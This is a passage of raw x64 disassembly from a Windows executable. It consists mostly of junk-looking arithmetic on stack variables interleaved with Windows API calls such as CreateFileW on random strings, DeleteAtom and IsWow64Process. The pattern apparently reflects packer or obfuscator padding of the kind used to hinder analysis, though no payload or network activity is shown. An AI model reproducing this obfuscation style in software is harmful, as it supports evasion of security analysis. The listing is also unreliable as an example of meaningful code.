or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d0c], eax
lea rcx, [rsp + 0x247d0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa2a4], eax
mov rax, qword [rsp + 0x14238]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9ed8], eax
mov rax, qword [rsp + 0x14d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab28]
add ecx, eax
mov eax, ecx
mov dword [0x140282858], eax
mov eax, dword [rsp + 0x6f20]
mov dword [rsp + 0xac60], eax
mov rax, qword [rsp + 0x14b00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b80]
add eax, ecx
mov word [rsp + 0x2dc4], ax
mov rax, qword [rsp + 0x14db8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73]
add eax, ecx
mov byte [rsp + 0x64f], al
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov word [rsp + 0x2ef0], ax
mov rax, qword [rsp + 0x149c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x700]
sub eax, ecx
mov byte [rsp + 0x715], al
lea rax, [rsp + 0x69b0]
mov qword [rsp + 0x14ef0], rax
mov rax, qword [rsp + 0x147e8]
mov rcx, qword [rsp + 0x14720]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa470], eax
movzx eax, byte [rsp + 0x6c6]
mov rcx, qword [rsp + 0x14998]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x141a0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14b60], rax
movzx eax, word [rsp + 0x2c44]
mov word [0x14028ec2c], ax
lea rax, [rsp + 0x7800]
mov qword [rsp + 0x14ef8], rax
mov rax, qword [rsp + 0x14490]
mov ecx, dword [rsp + 0xa62c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b44], eax
mov eax, dword [rsp + 0x6608]
mov dword [rsp + 0xac64], eax
mov eax, dword [rsp + 0x9a04]
mov ecx, dword [rsp + 0xa71c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14c90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x147b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x21b0], ax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14670]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6d5], al
mov rax, qword [0x14028ecc0]
mov rcx, qword [rsp + 0x146c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa578], eax
lea rax, [rsp + 0xa35c]
mov qword [rsp + 0x14f00], rax
movsx eax, byte [rsp + 0x658]
movsx ecx, byte [rsp + 0x56c]
shl eax, cl
mov byte [0x140281dca], al
movsx eax, word [0x140282764]
mov rcx, qword [rsp + 0x14428]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1728], ax
lea rax, [rsp + 0x2da0]
mov qword [rsp + 0x14f08], rax
movzx eax, byte [rsp + 0x3c5]
mov rcx, qword [0x14028ed28]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14eb8]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14cd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9330], eax
lea rax, [rsp + 0xac1c]
mov qword [rsp + 0x14f10], rax
mov rax, qword [rsp + 0x14d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa310]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xabf4], eax
mov eax, dword [rsp + 0xa890]
mov dword [rsp + 0xac68], eax
mov eax, dword [rsp + 0xa3d0]
mov ecx, dword [rsp + 0xa9c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x985c], eax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14d40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2cdc], ax
mov rax, qword [rsp + 0x14c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14460]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14028ed08]
mov byte [rcx], al
lea rax, [rsp + 0xa370]
mov qword [rsp + 0x14f18], rax
mov rax, qword [rsp + 0x14768]
mov ecx, dword [rsp + 0xa984]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9e20], eax
mov rax, qword [rsp + 0x14ed0]
mov eax, dword [rax]
mov dword [rsp + 0xac6c], eax
mov eax, dword [rsp + 0xa46c]
mov ecx, dword [rsp + 0xa928]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa510], eax
mov rax, qword [rsp + 0x14b58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2730]
sub eax, ecx
mov word [rsp + 0x2dd4], ax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14e40]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x207], al
movsx eax, byte [rsp + 0x71a]
movsx ecx, byte [0x140281dc7]
shl eax, cl
mov byte [rsp + 0x6ff], al
movzx eax, word [rsp + 0x2c84]
mov word [rsp + 0x2ef4], ax
mov rax, qword [rsp + 0x14248]
mov rcx, qword [rsp + 0x147d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14028285c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
movzx ecx, word [rsp + 0x2ecc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bdc], ax
mov eax, dword [0x14028ecec]
mov rcx, qword [rsp + 0x14970]
mov qword [rsp + 0x14f20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14f20]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa438], eax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
mov byte [rsp + 0x71e], al
movzx eax, word [rsp + 0x2ba8]
movzx ecx, word [rsp + 0x2d04]
add eax, ecx
mov word [rsp + 0x2e40], ax
mov rax, qword [rsp + 0x147c0]
mov rcx, qword [rsp + 0x14de8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa6a8], eax
mov rax, qword [rsp + 0x14da0]
mov ecx, dword [rsp + 0x6938]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x65ac], eax
mov rax, qword [rsp + 0x14da8]
mov ecx, dword [rsp + 0x76bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa438], eax
lea rax, [0x14028ec68]
mov qword [rsp + 0x14f28], rax
mov rax, qword [rsp + 0x14990]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d00]
add eax, ecx
mov word [rsp + 0x2dd0], ax
movzx eax, byte [rsp + 0x671]
mov rcx, qword [rsp + 0x143f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281e62], al
mov eax, dword [rsp + 0x9dd8]
mov ecx, dword [rsp + 0xa880]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ba4], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov dword [rsp + 0xac70], eax
mov rax, qword [rsp + 0x14c30]
mov rcx, qword [0x14028ecf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x144c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa470]
mov dword [rsp + 0xac74], eax
mov eax, dword [rsp + 0xa8a4]
mov ecx, dword [rsp + 0x8aac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa558], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14e88], rax
movsx eax, word [rsp + 0x2dc4]
mov rcx, qword [rsp + 0x14c60]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x147f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14c50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x289]
shl eax, cl
mov byte [rsp + 0x35e], al
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14888]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6f2], al
mov rax, qword [0x14028ec48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2958]
sar eax, cl
mov word [0x140282838], ax
mov eax, dword [rsp + 0xab98]
mov dword [rsp + 0xac78], eax
mov eax, dword [rsp + 0xa520]
mov ecx, dword [rsp + 0xa944]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14560]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x63c]
mov byte [rsp + 0x71f], al
movzx eax, word [rsp + 0x2c50]
mov rcx, qword [rsp + 0x14a78]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2dc8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.VVri1riM2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14f30], rax
mov rax, qword [rsp + 0x14438]
mov ecx, dword [rsp + 0x6fec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa37c], eax
mov rax, qword [rsp + 0x14f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x86e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8db0], eax
mov eax, dword [rsp + 0x8344]
mov ecx, dword [rsp + 0xa958]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14420]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2c98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2e18], ax
mov eax, dword [0x14028ec70]
mov dword [rsp + 0xac7c], eax
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d2c]
add eax, ecx
mov word [0x140282860], ax
movzx eax, byte [rsp + 0x36e]
movzx ecx, byte [rsp + 0x60f]
sub eax, ecx
mov byte [rsp + 0x5f5], al
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov ecx, dword [0x14028edc4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14988]
mov eax, dword [rax]
mov dword [rsp + 0xac80], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x49c]
add eax, ecx
mov rcx, qword [rsp + 0x14198]
mov byte [rcx], al
mov rax, qword [rsp + 0x14530]
movzx eax, word [rax]
mov word [rsp + 0x2ef8], ax
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c38]
sub eax, ecx
mov word [rsp + 0x2e10], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x14868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
sub eax, ecx
mov byte [rsp + 0x6a0], al
mov rax, qword [rsp + 0x14730]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa938]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x85f0], eax
mov rax, qword [rsp + 0x146c0]
mov rcx, qword [rsp + 0x14110]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x14028ecf8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa6f8]
mov rcx, qword [rsp + 0x147a0]
mov qword [rsp + 0x14f38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14f38]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa5a8], eax
mov rax, qword [rsp + 0x148d8]
mov eax, dword [rax]
mov dword [rsp + 0xac84], eax
mov eax, dword [rsp + 0xabb8]
mov ecx, dword [rsp + 0xaa64]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x72c0], eax
mov rax, qword [rsp + 0x14480]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14e40]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x21d], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.Nj_sCBV8v6wPmcL1ZHn5m8l5Oa
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14f40], rax
movzx eax, word [rsp + 0x2c90]
mov word [rsp + 0x2efc], ax
mov rax, qword [rsp + 0x14ee0]
mov ecx, dword [rsp + 0xab08]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa8f8], eax
mov rax, qword [rsp + 0x147d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7d7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7bc8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov eax, dword [rsp + 0xa6c4]
mov ecx, dword [rsp + 0xaa78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5e4], eax
mov eax, dword [0x14028270c]
mov dword [0x14028ec28], eax
mov rcx, qword [rsp + 0x144c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x2dc8]
mov word [rsp + 0x2f00], ax
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14900]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4f2], al
mov rax, qword [rsp + 0x14db8]
movsx eax, byte [rax]
movsx ecx, byte [0x140281ddb]
add eax, ecx
mov byte [rsp + 0x680], al
mov rax, qword [rsp + 0x14a98]
movzx eax, word [rax]
mov word [rsp + 0x2f04], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0x14880]
mov ecx, dword [rsp + 0x6998]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa430], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x718c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x89b4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movzx eax, byte [rsp + 0x491]
mov rcx, qword [rsp + 0x143b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x711], al
movzx eax, word [rsp + 0x2b28]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14b58]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x14f48], rax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xab48]
shr eax, cl
mov dword [0x14028269c], eax
lea rax, [rsp + 0xa578]
mov qword [rsp + 0x14f50], rax
mov rax, qword [0x14028ecf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7fc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a78], eax
mov rax, qword [rsp + 0x14be8]
mov eax, dword [rax]
mov dword [rsp + 0xac88], eax
lea rdx, [rsp + 0x233f8]
mov rcx, qword [rsp + 0x14bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa78c], eax
movzx eax, byte [rsp + 0x691]
mov rcx, qword [rsp + 0x149c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6b2], al
movzx eax, word [rsp + 0x2c5c]
movzx ecx, word [rsp + 0x2dd4]
shl eax, cl
mov word [rsp + 0x2bf8], ax
mov rax, qword [rsp + 0x14738]
mov eax, dword [rax]
mov dword [rsp + 0xac8c], eax
mov eax, dword [rsp + 0xabf4]
mov ecx, dword [rsp + 0x6500]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xab68], eax
mov rax, qword [0x14028eda8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaac0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6cf4], eax
mov rax, qword [rsp + 0x14ca8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x90bc]
add ecx, eax
mov eax, ecx
mov dword [0x140282864], eax
mov rax, qword [rsp + 0x146c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7fc], eax
mov rax, qword [rsp + 0x146d0]
movzx eax, byte [rax]
mov byte [rsp + 0x720], al
movsx eax, word [rsp + 0x1d44]
mov rcx, qword [rsp + 0x145e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2edc], ax
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14498]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x147b0]
mov word [rcx], ax
lea rax, [rsp + 0x68a]
mov qword [rsp + 0x14f58], rax
mov rax, qword [rsp + 0x140b8]
mov ecx, dword [rsp + 0xac00]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14cd8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab34], eax
mov eax, dword [rsp + 0xaad0]
mov dword [rsp + 0xac90], eax
mov rax, qword [rsp + 0x14a78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26c8]
add eax, ecx
mov word [rsp + 0x2a0c], ax
mov rax, qword [rsp + 0x14d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x671]
sub eax, ecx
mov byte [0x140281e57], al
mov rax, qword [rsp + 0x14ec8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8a80]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14be8]
mov dword [rcx], eax
lea rax, [rsp + 0xa910]
mov qword [rsp + 0x14f60], rax
mov rax, qword [rsp + 0x14630]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa3d4]
sar eax, cl
mov dword [rsp + 0xa8e4], eax
lea rax, [rsp + 0xa630]
mov qword [rsp + 0x14f68], rax
movzx eax, byte [0x140281dab]
movzx ecx, byte [rsp + 0x679]
xor eax, ecx
mov byte [rsp + 0x6a1], al
mov rax, qword [rsp + 0x14f08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14778]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2d6c], ax
lea rax, [rsp + 0xa674]
mov qword [rsp + 0x14f70], rax
mov rax, qword [rsp + 0x14640]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa654]
shl eax, cl
mov dword [rsp + 0x6a64], eax
lea rax, [rsp + 0x2e1c]
mov qword [0x14028ec20], rax
mov rax, qword [rsp + 0x14968]
movzx eax, byte [rax]
mov byte [rsp + 0x721], al
mov rax, qword [0x14028ed28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb3]
and eax, ecx
mov byte [rsp + 0x6d5], al
movzx eax, word [rsp + 0x2b40]
mov rcx, qword [rsp + 0x14708]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ba8], ax
mov rax, qword [0x14028ee60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8fbc], eax
mov rax, qword [rsp + 0x14ae0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa928], eax
mov rax, qword [rsp + 0x14f70]
mov eax, dword [rax]
mov dword [rsp + 0xac94], eax
mov rax, qword [rsp + 0x147a8]
mov rcx, qword [0x14028ed40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab4c], eax
mov eax, dword [rsp + 0xa578]
mov dword [rsp + 0xac98], eax
mov rax, qword [rsp + 0x14808]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c6]
sub eax, ecx
mov byte [rsp + 0x671], al
mov rax, qword [rsp + 0x148d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14770]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140282784], ax
mov eax, dword [rsp + 0xa7a4]
mov ecx, dword [rsp + 0xa3fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x820c], eax
mov rax, qword [rsp + 0x149c0]
mov rcx, qword [0x14028ec50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8d3c], eax
mov rax, qword [rsp + 0x14cb8]
mov rcx, qword [rsp + 0x146c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7e8], eax
mov eax, dword [rsp + 0xa3f4]
mov dword [rsp + 0xac9c], eax
movzx eax, byte [rsp + 0x63d]
movzx ecx, byte [0x14028ed78]
or eax, ecx
mov byte [rsp + 0x6ba], al
mov rax, qword [rsp + 0x14590]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e0c]
shl eax, cl
mov word [rsp + 0x2e9c], ax
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
mov byte [rsp + 0x722], al
movsx eax, word [rsp + 0x2b6c]
movsx ecx, word [0x14028ee40]
xor eax, ecx
mov word [rsp + 0x2ef8], ax
lea rax, [rsp + 0xa978]
mov qword [0x14028ec18], rax
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xabd8]
sar eax, cl
mov dword [rsp + 0x75ec], eax
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e14]
and eax, ecx
mov word [rsp + 0x2338], ax
mov rax, qword [rsp + 0x14278]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ad]
sub eax, ecx
mov byte [rsp + 0x670], al
mov eax, dword [rsp + 0xa83c]
mov dword [rsp + 0xaca0], eax
mov rax, qword [0x14028eea8]
mov ecx, dword [rsp + 0xab90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x89f4], eax
mov rax, qword [rsp + 0x14de8]
mov eax, dword [rax]
mov dword [rsp + 0xaca4], eax
mov eax, dword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0xa310]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4f8], eax
movzx eax, byte [rsp + 0x6a6]
mov rcx, qword [rsp + 0x14c88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x716], al
movzx eax, word [rsp + 0x2cf4]
movzx ecx, word [rsp + 0x2bfc]
add eax, ecx
mov word [0x140282834], ax
mov rax, qword [rsp + 0x14df0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8bc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e7c], eax
mov rax, qword [rsp + 0x14e08]
mov ecx, dword [rsp + 0xa698]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa6e4], eax
mov rax, qword [rsp + 0x14768]
mov eax, dword [rax]
mov dword [rsp + 0xaca8], eax
mov eax, dword [0x14028ec28]
mov ecx, dword [rsp + 0x8c34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa560], eax
mov rax, qword [rsp + 0x14c20]
mov eax, dword [rax]
mov dword [rsp + 0xacac], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
movsx eax, word [rsp + 0x2bd4]
movsx ecx, word [rsp + 0x1b80]
shl eax, cl
mov word [rsp + 0x2da4], ax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x69a]
or eax, ecx
mov byte [rsp + 0x71b], al
lea rax, [rsp + 0x2bec]
mov qword [rsp + 0x14f78], rax
mov rax, qword [rsp + 0x14eb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14868]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [reloc.SHELL32.dll_PathYetAnotherMakeUniqueName], al
mov rax, qword [0x14028ee80]
mov rcx, qword [rsp + 0x14378]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa518], eax
lea rdx, [rsp + 0x23468]
mov rcx, qword [rsp + 0x14bc8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa65c], eax
mov rax, qword [rsp + 0x14378]
mov rcx, qword [rsp + 0x14a70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9374], eax
movzx eax, byte [rsp + 0x635]
movzx ecx, byte [0x14028ed70]
and eax, ecx
mov byte [rsp + 0x682], al
movzx eax, word [rsp + 0x1b28]
movzx ecx, word [rsp + 0x2bc4]
add eax, ecx
mov word [rsp + 0x2ce4], ax
mov eax, dword [rsp + 0xa6c0]
mov dword [rsp + 0xacb0], eax
mov eax, dword [rsp + 0xa450]
mov ecx, dword [rsp + 0xaae0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3fc], eax
mov eax, dword [rsp + 0xaa6c]
mov dword [rsp + 0xacb4], eax
mov rax, qword [rsp + 0x14c98]
mov ecx, dword [rsp + 0xa4e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6564], eax
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b90]
sub eax, ecx
mov word [0x14028ec90], ax
mov rax, qword [rsp + 0x14b08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x635]
add eax, ecx
mov byte [rsp + 0x68a], al
lea rax, [rsp + 0xa100]
mov qword [rsp + 0x14f80], rax
mov eax, dword [rsp + 0xa454]
mov ecx, dword [0x140282708]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4ec], eax
movzx eax, byte [rsp + 0x641]
mov byte [rsp + 0x723], al
movsx eax, word [rsp + 0x24a0]
movsx ecx, word [rsp + 0x2c28]
add eax, ecx
mov word [rsp + 0x2dc4], ax
movzx eax, word [rsp + 0x1b1c]
movzx ecx, word [rsp + 0x217c]
and eax, ecx
mov word [rsp + 0x1bf0], ax
movzx eax, byte [rsp + 0x6f2]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6fd], al
mov rax, qword [0x14028eda8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x141c0]
mov qword [rsp + 0x14f88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14f88]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x14f28]
mov eax, dword [rax]
mov dword [0x14028ec14], eax
mov rcx, qword [rsp + 0x14518]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xabe0], eax
mov eax, dword [rsp + 0x9838]
mov dword [rsp + 0xacb8], eax
mov rax, qword [rsp + 0x14d78]
mov ecx, dword [0x14028285c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x81a0], eax
mov eax, dword [rsp + 0x9260]
mov dword [rsp + 0xacbc], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e6c]
shl eax, cl
mov word [rsp + 0x2d08], ax
movzx eax, byte [rsp + 0x6d9]
movzx ecx, byte [0x14028ed68]
sub eax, ecx
mov byte [rsp + 0x2cd], al
lea rax, [rsp + 0xa648]
mov qword [rsp + 0x14f90], rax
movzx ecx, word [rsp + 0x2d4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c98], ax
mov eax, dword [rsp + 0xa860]
mov ecx, dword [rsp + 0xa4d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f70], eax
lea rax, [rsp + 0x7e78]
mov qword [rsp + 0x14f98], rax
mov rax, qword [0x14028ec50]
mov ecx, dword [rsp + 0xa044]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402826e4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xacc0], eax
movzx ecx, word [rsp + 0x2c08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cb0], ax
mov rax, qword [rsp + 0x14b18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19ac]
sub eax, ecx
mov word [rsp + 0x2b84], ax
movzx eax, byte [rsp + 0x6cc]
movzx ecx, byte [0x140281de2]
sub eax, ecx
mov byte [rsp + 0x6ca], al
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14bc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x509], al
movsx eax, word [rsp + 0x2e38]
mov rcx, qword [rsp + 0x14e70]
movsx ecx, word [rcx]
